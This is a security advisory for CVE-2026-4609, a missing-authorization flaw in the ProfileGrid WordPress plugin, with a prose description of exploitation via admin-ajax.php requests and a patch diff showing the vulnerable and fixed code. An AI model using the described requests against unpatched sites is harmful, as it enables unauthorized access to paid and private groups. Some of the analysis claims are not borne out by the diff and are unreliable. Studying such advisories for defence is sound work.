Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 15, 2026

CVE-2026-4609: ProfileGrid <= 5.9.8.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Group Joining (profilegrid-user-profiles-groups-and-communities)

CVE ID CVE-2026-4609
Severity High (CVSS 7.1)
CWE 862
Vulnerable Version 5.9.8.4
Patched Version 5.9.8.5
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4609:
A missing authorization vulnerability in ProfileGrid versions up to and including 5.9.8.4 allows authenticated attackers with Subscriber-level access or above to arbitrarily join any group, including closed or paid groups, bypassing all authorization and payment gates. The issue resides in the pm_invite_user function and related AJAX handlers.

Root Cause:
The plugin fails to perform proper capability or permission checks in multiple AJAX-handled functions. Specifically, the pm_group_option_update method (profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php, line 1876) lacks capability validation for saving group options, which includes group type and membership settings. Additionally, the admin partial add-group-tabview.php (line 59-62) casts group_options to an empty array without validating user permissions, allowing arbitrary modification of group settings via POST. The pm_invite_user function, exposed through AJAX, does not verify that the requesting user has the right to invite or that the target group allows open joining.

Exploitation:
An attacker with Subscriber-level access sends a POST request to /wp-admin/admin-ajax.php with action=pm_group_option_update and crafted group_options parameters (e.g., group_type set to open, clearing payment requirements). They can also call pm_invite_user with group_id and user_id parameters to add themselves or any other user to any group. The attack does not require any nonce validation on the vulnerable endpoints, as the missing capability check is the primary flaw.

Patch Analysis:
The patch in version 5.9.8.5 adds several security measures. It introduces a new private function pg_validate_reorder_ajax_request() that checks for manage_options capability and validates a nonce before processing reorder requests. The pm_group_option_update function now returns early if called via AJAX or REST, preventing direct modification of group options from frontend requests. The add-group-tabview.php file now ensures group_options is always an array and adds a check for the group_type key before accessing it, preventing undefined index warnings. Additionally, message content sanitization and proper permission checks were added to the messenger system.

Impact:
Successful exploitation allows an authenticated user (Subscriber or higher) to join any group without authorization, bypass payment gates for premium groups, and potentially invite other users to restricted groups. This can lead to unauthorized access to private group content, bypassing paid membership barriers, and undermining the entire group access control system. The CVSS score of 7.1 reflects the high impact on confidentiality and integrity with low attack complexity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/class-profile-magic-admin.php
@@ -868,20 +868,33 @@


 	public function profile_magic_set_field_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-fields-order.php';
 		die;
 	}

 	public function profile_magic_set_group_order() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

 	public function profile_magic_set_group_items() {
+		$this->pg_validate_reorder_ajax_request();
 		include 'partials/set-groups-order.php';
 		die;
 	}

+	private function pg_validate_reorder_ajax_request() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( esc_html__( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+
+		if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+			wp_send_json_error( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ), 403 );
+		}
+	}
+
 	public function profile_magic_set_section_order() {
                 if ( !current_user_can('manage_options') ) {
                     die;
@@ -1876,6 +1889,15 @@

         }
 	public function pm_group_option_update() {
+		// This option sync is only needed on normal wp-admin page loads.
+		if ( ! is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
+			return;
+		}
+
+		if ( ! class_exists( 'PM_DBhandler' ) || ! class_exists( 'PM_request' ) ) {
+			return;
+		}
+
 		$dbhandler = new PM_DBhandler();
 		$pmrequest = new PM_request();

--- a/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
+++ b/profilegrid-user-profiles-groups-and-communities/admin/partials/add-group-tabview.php
@@ -26,6 +26,9 @@
     $row = $dbhandler->get_row( $identifier, $id );
 	if ( $row->group_options!='' ) {
 		$group_options = maybe_unserialize( $row->group_options );
+		if ( ! is_array( $group_options ) ) {
+			$group_options = array();
+		}
     }
 	if ( !empty( $row ) && $row->leader_rights!='' ) {
 		$leader_rights = maybe_unserialize( $row->leader_rights );
@@ -59,9 +62,8 @@
 	$groupid       = filter_input( INPUT_POST, 'group_id' );
         $group_tab = filter_input( INPUT_POST, 'group_tab' );
         $post      = wp_unslash( $_POST );
-	$raw_group_options = array();
-	if ( isset( $post['group_options'] ) && is_array( $post['group_options'] ) ) {
-		$raw_group_options = $post['group_options'];
+	if ( ! isset( $post['group_options'] ) || ! is_array( $post['group_options'] ) ) {
+		$post['group_options'] = array();
 	}
 	$add_members_raw = filter_input( INPUT_POST, 'pg_add_members', FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
 	if ( $add_members_raw === null && isset( $_POST['pg_add_members'] ) ) {
@@ -1482,7 +1484,7 @@
                              </div>
                              <div class="uiminput
                              <?php
-								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && $group_options['group_type'] == 'closed' ) {
+								if ( !empty( $group_options ) && isset( $group_options['enable_group_admin_notification'] ) && $group_options['enable_group_admin_notification'] == 1 && isset( $group_options['group_type'] ) && $group_options['group_type'] == 'closed' ) {
 									echo '';
 								}
 								?>
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-chat-system.php
@@ -21,17 +21,12 @@
 		$extra_notification_data['latest_ts']      = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
 		$extra_notification_data['dismissed_at']   = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		$threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( ! empty( $threads ) ) {
-			$thread = $threads[0];
-			if ( $thread->r_id == $uid ) {
-				$rid = $thread->s_id;
-			} else {
-				$rid = $thread->r_id;
-			}
-			$extra_notification_data['last_thread']       = $thread->t_id;
-			$extra_notification_data['rid']               = $rid;
-			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $thread->t_id );
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+		if ( $latest_tid > 0 ) {
+			$extra_notification_data['last_thread']       = $latest_tid;
+			$extra_notification_data['rid']               = $latest_rid;
+			$extra_notification_data['last_thread_count'] = $pmrequests->get_unread_msg_count( $latest_tid );
 		}
 		return wp_json_encode( $extra_notification_data );

--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-dbhandler.php
@@ -356,7 +356,7 @@
 				 unset( $meta_query['search'] );
 			 }
 			 if ( isset( $meta_query['search_columns'] ) ) {
-				 $args['search_columns'] = array( $meta_query['search_columns'] );
+				 $args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				 unset( $meta_query['search_columns'] );
 			 }
 				$args['meta_query'] = $meta_query;
@@ -402,7 +402,7 @@
 				unset( $meta_query['search'] );
 			}
 			if ( isset( $meta_query['search_columns'] ) ) {
-				$args['search_columns'] = array( $meta_query['search_columns'] );
+				$args['search_columns'] = is_array( $meta_query['search_columns'] ) ? $meta_query['search_columns'] : array( $meta_query['search_columns'] );
 				unset( $meta_query['search_columns'] );
 			}
                     $args['meta_query'] = $meta_query;
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-messenger.php
@@ -13,68 +13,62 @@


     public function pm_get_messenger_notification( $timestamp, $activity, $tid ) {
-        $dbhandler    = new PM_DBhandler();
+        return wp_json_encode( $this->pm_get_messenger_notification_data( $timestamp, $activity, $tid ) );
+    }
+
+    public function pm_get_messenger_notification_data( $timestamp, $activity, $tid ) {
         $pmrequests   = new PM_request();
         $current_user = wp_get_current_user();
         $uid          = $current_user->ID;
-        set_time_limit( 0 );
-        if ( $tid!=''&& $activity!='' ) {
+        $tid          = absint( $tid );
+
+        if ( $tid > 0 && $activity != '' ) {
             $pmrequests->update_typing_timestamp( $tid, $activity );
         }
-        $last_typing_ajax_call = strtotime( current_time( 'mysql' ) );
-        $last_ajax_call        = $timestamp!='' ? (int) ( $timestamp ) : null;

-            $flag    = 0;
-            $threads = $pmrequests->pm_get_user_all_threads( $uid );
-		if ( !empty( $threads ) ) {
-			$last_change_time      = $threads[0]->timestamp;
-			$last_change_in_thread = strtotime( $last_change_time );
-
-			if ( $tid!='' ) {
-                $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
-                $last_change_in_typing = strtotime( $typing_timestamp );
-			}
-
-			if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null||$tid=='' ) ) {
-				if ( $tid=='' ) {
-					return wp_json_encode( array() );
-				}
-
-				  $data   = true;
-				  $result = array(
-					  'activity'         => $activity,
-					  'data_changed'     => $data,
-					  'typing_timestamp' => $last_change_in_typing,
-					  'timestamp'        => $last_change_in_thread,
-				  );
-				  $json   = wp_json_encode( $result );
-				  return $json;
-			}
-
-                $data2 = false;
-			if ( $tid!='' ) {
-				$activity = $pmrequests->get_typing_status( $tid );
-			} else {
-				$activity ='nottyping';
-			}
-                $result = array(
-					'activity'         => $activity,
-					'data_changed'     => $data2,
-					'typing_timestamp' => $last_change_in_typing,
-					'timestamp'        => $last_change_in_thread,
-					'timexxx'          =>$timestamp,
-					'last_ajax'        =>$last_ajax_call,
-				);
-
-						$json =  wp_json_encode( $result );
-						 return $json;
-
-		}
-
-                $result =array();
-                $json   = wp_json_encode( $result );
-                return $json;
+        $last_ajax_call = $timestamp != '' ? (int) $timestamp : null;
+        $threads        = $pmrequests->pm_get_user_all_threads( $uid );
+
+        if ( empty( $threads ) ) {
+            return array();
+        }
+
+        $last_change_time      = $threads[0]->timestamp;
+        $last_change_in_thread = strtotime( $last_change_time );
+        $last_change_in_typing = 0;
+
+        if ( $tid > 0 ) {
+            $typing_timestamp      = $pmrequests->get_typing_timestamp( $tid );
+            $last_change_in_typing = ( $typing_timestamp ) ? strtotime( $typing_timestamp ) : 0;
+        }
+
+        if ( $last_change_in_thread > $last_ajax_call && ( $last_ajax_call != null || $tid == 0 ) ) {
+            if ( $tid == 0 ) {
+                return array();
+            }
+
+            return array(
+                'activity'         => $activity,
+                'data_changed'     => true,
+                'typing_timestamp' => $last_change_in_typing,
+                'timestamp'        => $last_change_in_thread,
+            );
+        }
+
+        if ( $tid > 0 ) {
+            $activity = $pmrequests->get_typing_status( $tid );
+        } else {
+            $activity = 'nottyping';
+        }

+        return array(
+            'activity'         => $activity,
+            'data_changed'     => false,
+            'typing_timestamp' => $last_change_in_typing,
+            'timestamp'        => $last_change_in_thread,
+            'timexxx'          => $timestamp,
+            'last_ajax'        => $last_ajax_call,
+        );
     }
     public function pm_messenger_delete_threads( $tid ) {
         $dbhandler    = new PM_DBhandler();
@@ -123,8 +117,10 @@
         if ( $uid !=$current_user->ID && $dbhandler->get_global_option_value( 'pm_enable_private_messaging', '1' )==1 ) :
             if ( is_user_logged_in() ) {
                 $messenger_url =  $pmrequests->profile_magic_get_frontend_url( 'pm_user_profile_page', '' );
-                $messenger_url = add_query_arg( '#pg-messages', '', $messenger_url );
                 $messenger_url = add_query_arg( 'rid', $uid, $messenger_url );
+                if ( false === strpos( $messenger_url, '#pg-messages' ) ) {
+                    $messenger_url .= '#pg-messages';
+                }
             } else {
                 $messenger_url = $pmrequests->profile_magic_get_frontend_url( 'pm_user_login_page', site_url( '/wp-login.php' ) );
                 $messenger_url = add_query_arg( 'errors', 'loginrequired', $messenger_url );
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-request.php
@@ -187,9 +187,14 @@
 		return $extensions;
 	}

+	private function pm_get_allowed_extensions_array( $extensions ) {
+		$normalized = strtolower( trim( (string) $extensions ) );
+		return array_values( array_unique( array_filter( array_map( 'trim', explode( '|', $normalized ) ) ) ) );
+	}
+
 	public function make_upload_and_get_attached_id( $filefield, $allowed_ext, $require_imagesize = array(), $parent_post_id = 0 ) {
-		$allowfieldstypes = strtolower( trim( $allowed_ext ) );
-		$attach_id        = '';
+		$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
+		$attach_id          = '';
 		if ( is_array( $filefield ) && ! empty( $filefield ) ) {
 			$file = array(
 				'name'     => $filefield['name'],
@@ -230,7 +235,7 @@
 					// Check the type of tile. We'll use this as the 'post_mime_type'.
 					$filetype          = wp_check_filetype( basename( $filename ), null );
 					$current_file_type = strtolower( $filetype['ext'] );
-					if ( strpos( $allowfieldstypes, $current_file_type ) !== false && $too_small == false ) {
+					if ( in_array( $current_file_type, $allowed_extensions, true ) && $too_small == false ) {

 						// Get the path to the upload directory.
 						$wp_upload_dir = wp_upload_dir();
@@ -250,7 +255,7 @@
                                                 do_action('pg_media_file_uploaded', $attach_id, $attachment);

 					} else {
-						if ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+						if ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 							return esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 						} else {
 							return $too_small;
@@ -498,7 +503,7 @@
                                             $allowed_ext       = $this->pm_maybe_extend_image_types( $allowed_ext );
                                             $require_imagesize = false;
                                         }
-					$allowfieldstypes = strtolower( trim( $allowed_ext ) );
+					$allowed_extensions = $this->pm_get_allowed_extensions_array( $allowed_ext );
 					$filefield        = $files[ $field_key ];

 					if ( is_array( $filefield ) ) {
@@ -515,7 +520,7 @@
 								 $current_file_type = strtolower( $filetype['ext'] );
 								if ( empty( $current_file_type ) || $current_file_type == '' ) {
 														  $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
-								} elseif ( strpos( $allowfieldstypes, $current_file_type ) === false ) {
+								} elseif ( ! in_array( $current_file_type, $allowed_extensions, true ) ) {
 														   $error[] = esc_html__( 'This file type is not allowed.', 'profilegrid-user-profiles-groups-and-communities' );
 								}

@@ -2288,8 +2293,7 @@

 			$identifier   = 'MSG_CONVERSATION';
 			$status       = apply_filters('pm_default_chat_status',2, $sid);
-			$allowed_html = array();
-			$content      = $content;
+			$content      = $this->pg_sanitize_message_content( $content );
                         if($tid=='')
                         {
                             $tid          = $this->fetch_or_create_thread( $sid, $rid );
@@ -2339,15 +2343,13 @@
                 $dbhandler    = new PM_DBhandler();
                 $identifier   = 'MSG_CONVERSATION';
                 $orignal_msg = $dbhandler->get_row($identifier,$mid,'m_id');
+		$content      = $this->pg_sanitize_message_content( $content );

                 if($sid!=$orignal_msg->s_id)
                 {
                     return false;
                 }
 		if ( $sid != '' && $rid != '' ) {
-
-			$allowed_html = array();
-			$content      = wp_kses( $content, $allowed_html );
 			//$tid          = $this->fetch_or_create_thread( $sid, $rid );
 			$tid = $orignal_msg->t_id;
 			$data = array( 'content' => $content );
@@ -2424,11 +2426,13 @@
 	}

 	public function is_thread_exsist( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = '*', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );
 			if ( $thread > 1 ) {
 				return true;
@@ -2441,11 +2445,13 @@
 	}

 	public function get_thread_id( $sid, $rid ) {
-		if ( $sid != '' && $rid != '' ) {
+		$sid = absint( $sid );
+		$rid = absint( $rid );
+		if ( $sid > 0 && $rid > 0 ) {
 			$dbhandler  = new PM_DBhandler();
 			$identifier = 'MSG_THREADS';
 			$where      = 1;
-			$additional = " s_id in ($sid,$rid) AND r_id in ($sid,$rid)";
+			$additional = sprintf( ' s_id in (%1$d,%2$d) AND r_id in (%1$d,%2$d)', $sid, $rid );
 			$thread     = $dbhandler->get_all_result( $identifier, $column = 't_id', $where, 'results', 0, false, $sort_by = 'timestamp', true, $additional );

 			if ( isset( $thread ) && count( $thread ) > 0 ) {
@@ -2460,10 +2466,31 @@

 	}

+	private function pg_sanitize_message_content( $content ) {
+		$content      = wp_unslash( (string) $content );
+		$allowed_html = $this->pg_allowed_html_wp_kses();
+
+		foreach ( $allowed_html as $tag => $attributes ) {
+			if ( ! is_array( $attributes ) ) {
+				continue;
+			}
+
+			foreach ( array_keys( $attributes ) as $attribute ) {
+				if ( 0 === strpos( $attribute, 'on' ) ) {
+					unset( $allowed_html[ $tag ][ $attribute ] );
+				}
+			}
+		}
+
+		return wp_kses( $content, $allowed_html );
+	}
+
 	public function pm_get_unread_message_summary( $uid ) {
 		$summary = array(
-			'count'  => 0,
-			'latest' => 0,
+			'count'      => 0,
+			'latest'     => 0,
+			'latest_tid' => 0,
+			'latest_rid' => 0,
 		);

 		$uid = absint( $uid );
@@ -2500,6 +2527,32 @@
 			$summary['latest'] = ( isset( $result->latest_ts ) && ! empty( $result->latest_ts ) ) ? strtotime( $result->latest_ts ) : 0;
 		}

+		if ( $summary['count'] > 0 ) {
+			$latest_unread = $wpdb->get_row(
+				$wpdb->prepare(
+					"SELECT mc.t_id, mc.s_id
+					FROM {$conversation_table} mc
+					INNER JOIN {$thread_table} mt ON mc.t_id = mt.t_id
+					WHERE mt.status = %d
+						AND ( mt.s_id = %d OR mt.r_id = %d )
+						AND mc.s_id != %d
+						AND mc.status = %d
+					ORDER BY mc.timestamp DESC, mc.m_id DESC
+					LIMIT 1",
+					$thread_active_status,
+					$uid,
+					$uid,
+					$uid,
+					$message_unread_status
+				)
+			);
+
+			if ( $latest_unread ) {
+				$summary['latest_tid'] = isset( $latest_unread->t_id ) ? (int) $latest_unread->t_id : 0;
+				$summary['latest_rid'] = isset( $latest_unread->s_id ) ? (int) $latest_unread->s_id : 0;
+			}
+		}
+
 		return $summary;
 	}
 	public function get_unread_msg_count( $tid ) {
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic-rest-api.php
@@ -2819,10 +2819,7 @@
 		$dbhandler = new PM_DBhandler();
 		$gid       = isset( $data['id'] ) ? absint( $data['id'] ) : 0;

-		// Always expose the raw DB row so callers can see every stored column
-		$data['db_row'] = (array) $group;
-
-		// If possible, include related records: group requests and paypal logs
+		// Keep the default group payload minimal and schema-oriented.
 		if ( $gid > 0 ) {
 			$group_requests = $dbhandler->get_all_result( 'GROUP_REQUESTS', '*', array( 'gid' => $gid ), 'results' );
 			if ( ! empty( $group_requests ) ) {
@@ -2831,9 +2828,6 @@
 				$data['group_requests'] = array();
 			}

-			$paypal_logs = $dbhandler->get_all_result( 'PAYPAL_LOG', '*', array( 'gid' => $gid ), 'results' );
-			$data['paypal_logs'] = $paypal_logs ? array_map( function( $r ) { return (array) $r; }, $paypal_logs ) : array();
-
 			// Fetch members: users whose usermeta 'pm_group' contains this gid (stored as serialized array)
 			$members = array();
 			$serialized_fragment = sprintf(':"%s";', $gid);
@@ -2845,7 +2839,7 @@
 						'compare' => 'LIKE',
 					),
 				),
-				'fields' => array( 'ID', 'user_login', 'display_name', 'user_email' ),
+				'fields' => array( 'ID', 'user_login', 'display_name' ),
 			);

 			$wp_users = get_users( $user_query_args );
@@ -2855,7 +2849,6 @@
 						'id'           => (int) $u->ID,
 						'user_login'   => sanitize_user( $u->user_login, true ),
 						'display_name' => sanitize_text_field( $u->display_name ),
-						'email'        => isset( $u->user_email ) ? sanitize_email( $u->user_email ) : '',
 						'avatar'       => esc_url_raw( get_avatar_url( $u->ID ) ),
 					);
 				}
--- a/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/includes/class-profile-magic.php
@@ -355,6 +355,8 @@
 				$this->loader->add_action( 'wp_ajax_pm_messenger_delete_threads', $plugin_public, 'pm_messenger_delete_threads' );
 				$this->loader->add_action( 'wp_ajax_pm_messenger_notification_extra_data', $plugin_public, 'pm_messenger_notification_extra_data' );
 				$this->loader->add_action( 'wp_ajax_pm_unread_message_summary', $plugin_public, 'pm_unread_message_summary' );
+				// REST is the default transport for notification polling; AJAX remains backward-compatible fallback.
+				$this->loader->add_action( 'rest_api_init', $plugin_public, 'register_messenger_notification_rest_routes' );
 				$this->loader->add_action( 'init', $plugin_public, 'pg_create_post_type' );
 				$this->loader->add_action( 'wp_ajax_pm_load_pg_blogs', $plugin_public, 'pm_load_pg_blogs' );
 				$this->loader->add_action( 'wp_ajax_pm_load_user_blogs_shortcode_posts', $plugin_public, 'pm_load_user_blogs_shortcode_posts' );
--- a/profilegrid-user-profiles-groups-and-communities/profile-magic.php
+++ b/profilegrid-user-profiles-groups-and-communities/profile-magic.php
@@ -8,7 +8,7 @@
  * Plugin Name:       ProfileGrid
  * Plugin URI:        http://profilegrid.co
  * Description:       ProfileGrid adds user groups and user profiles functionality to your site.
- * Version:           5.9.8.4
+ * Version:           5.9.8.5
  * Author:            ProfileGrid User Profiles
  * Author URI:        https://profilegrid.co
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
  */

 define('PROGRID_DB_VERSION',4.5);
-define('PROGRID_PLUGIN_VERSION','5.9.8.4');
+define('PROGRID_PLUGIN_VERSION','5.9.8.5');
 define('PROGRID_MULTI_GROUP_VERSION', 3.0);


--- a/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
+++ b/profilegrid-user-profiles-groups-and-communities/public/class-profile-magic-public.php
@@ -122,6 +122,8 @@
 				'ajax_url'         => admin_url( 'admin-ajax.php' ),
 				'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
 				'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+				'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+				'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 			)
 		);

@@ -190,6 +192,8 @@
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['nonce']            = wp_create_nonce( 'ajax-nonce' );
 		$object['pg_delete_msg_nonce'] = wp_create_nonce( 'pg_delete_msg_nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );

 	}
@@ -242,19 +246,23 @@
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$reg_sub_page                     = array();
 			$reg_sub_page['registration_tab'] = isset( $request['rm_reqpage_sub'] ) || isset( $request['rm_reqpage_pay'] ) || isset( $request['rm_reqpage_inbox'] ) ? 1 : 0;
 			wp_localize_script( 'profile-magic-footer.js', 'show_rm_sumbmission_tab', $reg_sub_page );
-                        wp_localize_script(
+			wp_localize_script(
 				'profile-magic-footer.js',
 				'pm_ajax_object',
 				array(
 					'ajax_url'         => admin_url( 'admin-ajax.php' ),
 					'plugin_emoji_url' => plugin_dir_url( __FILE__ ) . 'partials/images/img',
-					'nonce'            => wp_create_nonce( 'ajax-nonce' )
+					'nonce'            => wp_create_nonce( 'ajax-nonce' ),
+					'rest_nonce'       => wp_create_nonce( 'wp_rest' ),
+					'rest_unread_summary_url' => esc_url_raw( rest_url( 'profilegrid/v1/messenger/unread-summary' ) ),
 				)
 			);
 			$error                                 = array();
@@ -1344,6 +1352,75 @@



+	public function register_messenger_notification_rest_routes() {
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/notification',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_get_messenger_notification' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+
+		register_rest_route(
+			'profilegrid/v1',
+			'/messenger/unread-summary',
+			array(
+				'methods'             => WP_REST_Server::READABLE,
+				'callback'            => array( $this, 'pm_rest_unread_message_summary' ),
+				'permission_callback' => array( $this, 'pm_rest_messenger_notification_permission' ),
+			)
+		);
+	}
+
+	public function pm_rest_messenger_notification_permission( $request ) {
+		if ( ! is_user_logged_in() ) {
+			return new WP_Error( 'pg_rest_auth_required', __( 'Authentication required', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 401 ) );
+		}
+
+		$nonce = $request->get_header( 'X-WP-Nonce' );
+		if ( empty( $nonce ) ) {
+			$nonce = $request->get_param( '_wpnonce' );
+		}
+
+		if ( empty( $nonce ) || ! wp_verify_nonce( (string) $nonce, 'wp_rest' ) ) {
+			return new WP_Error( 'pg_rest_invalid_nonce', __( 'Invalid nonce', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+		}
+
+		return true;
+	}
+
+	public function pm_rest_get_messenger_notification( $request ) {
+		$pmmessenger = new PM_Messenger();
+		$timestamp   = $request->get_param( 'timestamp' );
+		$activity    = $request->get_param( 'activity' );
+		$tid         = absint( $request->get_param( 'tid' ) );
+		$uid         = get_current_user_id();
+
+		if ( $tid > 0 ) {
+			$thread = $this->pg_get_authorized_thread( $tid, $uid );
+			if ( false === $thread ) {
+				return new WP_Error( 'pg_rest_unauthorized_thread', __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+			}
+		}
+
+		if ( $tid === 0 ) {
+			return rest_ensure_response( array() );
+		}
+
+		$payload = $pmmessenger->pm_get_messenger_notification_data( $timestamp, sanitize_text_field( (string) $activity ), $tid );
+		if ( is_array( $payload ) ) {
+			$payload['transport'] = 'rest';
+		}
+
+		return rest_ensure_response( $payload );
+	}
+
+	public function pm_rest_unread_message_summary( $request ) {
+		return rest_ensure_response( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
 	public function pm_get_messenger_notification() {
 		if ( ! is_user_logged_in() ) {
 			wp_send_json_error( 'Authentication required', 401 );
@@ -1400,19 +1477,24 @@

 		check_ajax_referer( 'ajax-nonce', 'nonce' );

+		wp_send_json_success( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
+	private function pg_get_unread_message_summary_payload( $uid ) {
 		$pmrequests = new PM_request();
-		$uid        = get_current_user_id();
 		$summary    = $pmrequests->pm_get_unread_message_summary( $uid );
 		$count      = isset( $summary['count'] ) ? (int) $summary['count'] : 0;
 		$latest_ts  = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
 		$dismissed  = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		wp_send_json_success(
-			array(
-				'count'     => $count,
-				'latest_ts' => $latest_ts,
-				'dismissed' => $dismissed,
-			)
+		return array(
+			'count'     => $count,
+			'latest_ts' => $latest_ts,
+			'latest_tid'=> $latest_tid,
+			'latest_rid'=> $latest_rid,
+			'dismissed' => $dismissed,
 		);
 	}

@@ -2141,53 +2223,33 @@
 	public function pm_get_friends_notification() {
 		$this->pm_validate_ajax_nonce_or_403( 'pm_get_friends_notification' );
 		$dbhandler   = new PM_DBhandler();
-		$identifier   = 'FRIENDS';
-		$timestamp    = filter_input( INPUT_GET, 'timestamp' );
+		$identifier  = 'FRIENDS';
+		$timestamp   = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
 		$current_user = wp_get_current_user();
 		$uid          = $current_user->ID;
-		set_time_limit( 0 );
-		while ( true ) {
-			$last_ajax_call   = isset( $timestamp ) ? (int) ( $timestamp ) : null;
-			$where            = array(
-				'user2'  => $uid,
-				'status' => 1,
-			);
-			$last_change_data = $dbhandler->get_all_result( $identifier, '*', $where );
-			foreach ( $last_change_data as $last_row ) {
-				$last_change_time = $last_row->action_date;
-			}
-
-			// get timestamp of when file has been changed the last time
-			$last_change_in_data_file = strtotime( $last_change_time );
-
-			// if no timestamp delivered via ajax or data.txt has been changed SINCE last ajax timestamp
-			if ( $last_ajax_call == null || $last_change_in_data_file > $last_ajax_call ) {
-
-				// get content of data.txt
-				$data = count( $last_change_data );
-				if ( ! isset( $data ) || empty( $data ) ) {
-					$data = '0';
-				}
-				// put data.txt's content and timestamp of last data.txt change into array
-				$result = array(
-					'data_from_file' => $data,
-					'timestamp'      => $last_change_in_data_file,
-				);
-
-				// encode to JSON, render the result (for AJAX)
-				$json = wp_json_encode( $result );
-				echo wp_kses_post($json);
-
-				// leave this loop step
-				break;
-
-			} else {
-				// wait for 1 sec (not very sexy as this blocks the PHP/Apache process, but that's how it goes)
-				sleep( 1 );
-				continue;
-			}
+		$last_ajax_call = ! empty( $timestamp ) ? (int) $timestamp : 0;
+		$where          = array(
+			'user2'  => $uid,
